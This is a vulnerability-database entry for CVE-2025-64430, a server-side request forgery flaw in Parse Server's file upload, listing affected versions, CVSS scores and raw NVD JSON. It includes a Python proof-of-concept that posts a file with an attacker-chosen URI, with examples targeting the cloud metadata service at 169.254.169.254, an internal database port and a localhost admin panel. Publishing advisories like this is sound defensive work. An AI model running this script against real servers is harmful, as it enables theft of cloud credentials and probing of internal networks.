Security Vulnerability Report
中文
CVE-2025-64430 CVSS 7.5 HIGH

CVE-2025-64430

Published: 2025-11-07 18:15:37
Last Modified: 2026-04-15 00:35:42

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. In versions 4.2.0 through 7.5.3, and 8.0.0 through 8.3.1-alpha.1, there is a Server-Side Request Forgery (SSRF) vulnerability in the file upload functionality when trying to upload a Parse.File with uri parameter, allowing execution of an arbitrary URI. The vulnerability stems from a file upload feature in which Parse Server retrieves the file data from a URI that is provided in the request. A request to the provided URI is executed, but the response is not stored in Parse Server's file storage as the server crashes upon receiving the response. This issue is fixed in versions 7.5.4 and 8.4.0-alpha.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Parse Server >= 4.2.0 且 < 7.5.4
Parse Server >= 8.0.0 且 < 8.4.0-alpha.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-64430 Parse Server SSRF PoC # Target: Parse Server with vulnerable file upload via URI parameter def exploit_ssrf(target_url, malicious_uri): """ Exploit SSRF vulnerability in Parse Server file upload Args: target_url: Base URL of vulnerable Parse Server malicious_uri: Malicious URI to request (e.g., internal service) """ headers = { 'X-Parse-Application-Id': 'myAppId', 'Content-Type': 'application/json' } # Payload to trigger SSRF via Parse.File URI parameter payload = { 'file': { 'uri': malicious_uri, # SSRF trigger point 'name': 'malicious.txt' } } endpoint = f"{target_url}/parse/files/malicious.txt" try: response = requests.post( endpoint, headers=headers, json=payload, timeout=10 ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}") # Example usage: # Target internal metadata service (AWS/Azure/GCP) # exploit_ssrf('http://target-parse-server.com', 'http://169.254.169.254/latest/meta-data/') # Scan internal service # exploit_ssrf('http://target-parse-server.com', 'http://internal-db:5432/') # Access localhost admin panel # exploit_ssrf('http://target-parse-server.com', 'http://localhost:1337/admin/') print('[+] SSRF PoC for CVE-2025-64430') print('[+] Target: Parse Server < 7.5.4 or < 8.4.0-alpha.1')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64430", "sourceIdentifier": "[email protected]", "published": "2025-11-07T18:15:37.477", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. In versions 4.2.0 through 7.5.3, and 8.0.0 through 8.3.1-alpha.1, there is a Server-Side Request Forgery (SSRF) vulnerability in the file upload functionality when trying to upload a Parse.File with uri parameter, allowing execution of an arbitrary URI. The vulnerability stems from a file upload feature in which Parse Server retrieves the file data from a URI that is provided in the request. A request to the provided URI is executed, but the response is not stored in Parse Server's file storage as the server crashes upon receiving the response. This issue is fixed in versions 7.5.4 and 8.4.0-alpha.1."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. En las versiones 4.2.0 a 7.5.3, y 8.0.0 a 8.3.1-alpha.1, existe una vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en la funcionalidad de carga de archivos al intentar cargar un Parse.File con el parámetro uri, permitiendo la ejecución de una URI arbitraria. La vulnerabilidad se origina en una característica de carga de archivos en la que Parse Server recupera los datos del archivo de una URI que se proporciona en la petición. Se ejecuta una petición a la URI proporcionada, pero la respuesta no se almacena en el almacenamiento de archivos de Parse Server, ya que el servidor falla al recibir la respuesta. Este problema se ha solucionado en las versiones 7.5.4 y 8.4.0-alpha.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/parse-community/parse-server/commit/8bbe3efbcf4a3b66f4a8db9bfb18cd98c050db51", "source": "[email protected]"}, {"url": "https://github.com/parse-community/parse-server/commit/97763863b72689a29ad7a311dfb590c3e3c50585", "source": "[email protected]"}, {"url": "https://github.com/parse-community/parse-server/pull/9903", "source": "[email protected]"}, {"url": "https://github.com/parse-community/parse-server/pull/9904", "source": "[email protected]"}, {"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-x4qj-2f4q-r4rx", "source": "[email protected]"}]}}